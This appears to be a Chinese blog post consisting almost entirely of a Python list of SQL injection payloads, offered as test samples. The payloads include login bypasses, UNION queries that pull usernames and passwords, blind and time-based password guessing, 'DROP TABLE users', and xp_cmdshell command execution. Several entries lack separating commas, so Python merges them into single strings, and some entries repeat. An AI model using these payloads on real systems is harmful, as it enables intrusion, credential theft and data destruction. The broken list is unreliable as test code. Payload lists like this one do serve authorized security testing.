SQL注入样本

SQL 注入测试样本列表

SQL_INJECTION_PAYLOADS = [
    "'",  # 单引号引发基本的 SQL 错误
    '"',  # 双引号引发基本的 SQL 错误
    "' OR '1'='1' --",  # 典型的真语句注入
    "' OR '1'='1' /*",  # 使用注释符号进行注入
    "' OR 1=1 --",  # 另一种基本的真语句注入
    "' OR 1=1 /*",  # 另一种基本的真语句注入,使用评论
    "' UNION SELECT NULL, username, password FROM users --",  # 使用 UNION 查询
    "' UNION SELECT 1, @@version --",  # 获取数据库版本
    "' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --",  # 字符串获取
    "' HAVING 1=1 --",  # HAVING 子句测试
    "'; DROP TABLE users; --",  # 尝试删除表 (仅供测试目的,切勿在生产环境中执行)
    "'; EXEC xp_cmdshell('whoami'); --",  # SQL Server 命令执行
    "'; SELECT * FROM information_schema.tables; --",  # 获取表信息
    "' AND 1=(SELECT COUNT(*) FROM users) --",  # 计数测试
    "'; SELECT concat(username, ':', password) FROM users --",  # 获取用户名和密码组合
    "'; WAITFOR DELAY '0:0:5'; --",  # 基于延迟的盲注测试
    "' OR (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1/0) END) --",  # 使用 CASE 语句
    "' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL --",  # 多个 NULL 测试
    "' AND EXISTS(SELECT * FROM users WHERE username='admin') --",  # 检查用户是否存在
    "'; SELECT @@datadir; --",  # 获取数据库目录信息
    "' AND ascii(substring((SELECT password FROM users WHERE username='admin'),1,1)) > 100 --",  # 通过字符编码进行盲注
    "'; WAITFOR DELAY \'0:0:10\' --'"
    "' AND 1=1 /* OR 1=2 */"
    "' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema = database() --"
    "' AND (SELECT ASCII(SUBSTRING((SELECT column_name FROM table_name LIMIT 0,1), 1, 1)) = 104) --"
    "' UNION SELECT NULL, (SELECT column_name FROM table_name) --"
    "' UNION SELECT NULL, (SELECT column_name FROM table_name) --"
    "' AND (SELECT CAST(1 AS CHAR) FROM DUAL) --"
    "' AND (SELECT 1) AND (SELECT 2) --"
    # 基本真语句注入
    "' OR '1'='1' --",  # 总是为真,用于绕过身份验证
    "' OR 1=1 --",  # 相同的逻辑

    # 注释和空值注入
    "' OR 1=1 /*",  # 使用注释,确保后续的 SQL 不被执行
    "' OR 1=1 #",  # 使用 # 注释
    "' OR   1=1   --",  # 多余的空格

    # UNION 查询
    "' UNION SELECT NULL, username, password FROM users --",  # 从 users 表获取用户名和密码
    "' UNION SELECT NULL, table_name FROM information_schema.tables --",  # 获取数据库表
    "' UNION SELECT username, password FROM users WHERE '1' = '1' --",  # 提取用户凭据
    "' UNION SELECT 1, database() --",  # 获取当前数据库名称
    "' UNION SELECT NULL, COUNT(*) FROM users --",  # 获取用户表的行数

    # 盲注
    "' AND 1=(SELECT COUNT(*) FROM users) --",  # 计数测试
    "' AND (SELECT SUBSTRING(@@version,1,1)) = '5' --",  # 检测数据库版本
    "'; WAITFOR DELAY '0:0:5'; --",  # 延迟盲注

    # 存储过程注入
    "'; EXEC xp_cmdshell('whoami'); --",  # SQL Server 命令执行
    "'; EXECUTE IMMEDIATE 'DROP TABLE users'; --",  # 动态执行命令 (仅供测试)

    # 信息获取
    "'; SELECT @@datadir; --",  # 获取数据库目录信息
    "'; SELECT GROUP_CONCAT(username) FROM users; --",  # 获取所有用户名的连接字符串
    "'; SELECT * FROM information_schema.columns WHERE table_name='users'; --",  # 获取用户表的列信息

    # 逻辑测试
    "' AND 1=(SELECT CASE WHEN (username='admin') THEN 1 ELSE 0 END FROM users LIMIT 1) --",  # 验证特定用户
    "' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='admin')='a' --",  # 验证密码字符

    # 错误基注入
    "' AND 1=CONVERT(int, (SELECT @@version)) --",  # 强制类型转换测试
    "' AND 1=(SELECT TOP 1 NULL FROM users) --",  # 检查 NULL 值

    # 模糊查询
    "' AND (SELECT username FROM users WHERE username LIKE 'ad%') IS NOT NULL --",  # 模糊匹配查询

    # SQL 注入的变体
    "' AND NOT EXISTS(SELECT * FROM users WHERE username='admin') --",  # 检查特定用户不在表中
    "' AND 1 IN (SELECT COUNT(*) FROM users) --",  # 在子查询中进行计数

    # 多个 NULL 测试
    "' UNION SELECT NULL, NULL, NULL --",  # 测试多个 NULL 值
    "' UNION SELECT NULL, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) --",
    # 获取用户表的第一列名称

    # 其他注入形式
    "' AND (SELECT CAST(1 AS CHAR) FROM dual) --",  # 测试 SQL 语法
    "'; SELECT 1; --",  # 简易测试,返回 1

    # 基于时间的盲注
    "'; IF(1=1) WAITFOR DELAY '0:0:5' --",  # 基于条件的延迟
    "'; IF NOT EXISTS (SELECT * FROM users) WAITFOR DELAY '0:0:10' --",  # 基于用户存在性的延迟

    # 布尔盲注示例
    "' AND (SELECT 1) = 1 --",  # 确定条件是否为真
    "' AND (SELECT CASE WHEN (username='admin') THEN 1 ELSE 0 END) = 1 --",  # 检查是否存在特定用户
    "' AND (SELECT LENGTH(password) FROM users WHERE username='admin') > 5 --",  # 检查密码长度

    # 时间盲注示例
    "'; IF((SELECT username FROM users WHERE username='admin') = 'admin') WAITFOR DELAY '0:0:5' --",  # 如果条件成立,则延迟
    "'; IF((SELECT COUNT(*) FROM users) > 0) WAITFOR DELAY '0:0:5' --",  # 检查用户表是否有记录并延迟
    "'; DECLARE @result INT; SET @result = (SELECT COUNT(*) FROM users); IF @result = 1 WAITFOR DELAY '0:0:5' --",
    # 使用变量进行延迟

    # 试探其他表
    "' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database() --",  # 获取当前数据库的所有表名
    "' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users' --",  # 获取用户表中的所有列名

    # 动态查询注入
    "'; DECLARE @sql NVARCHAR(MAX); SET @sql = 'SELECT * FROM users'; EXEC sp_executesql @sql; --",  # 使用动态SQL查询
    "'; SET @sql = 'DROP TABLE users'; EXEC(@sql); --",  # 动态执行 DROP TABLE 命令

    # 基于二进制的注入
    "' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users WHERE username='admin'), 1, 1)) = 97 --",
    # 验证第一个字符是否为 'a'
    "' AND LENGTH(username) = 5 --",  # 检查用户名长度是否为5
    "' AND (SELECT CASE WHEN (SELECT password FROM users WHERE username='admin') LIKE 'a%' THEN 1 ELSE 0 END) = 1 --",
    # 如果密码以 'a' 开头

]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值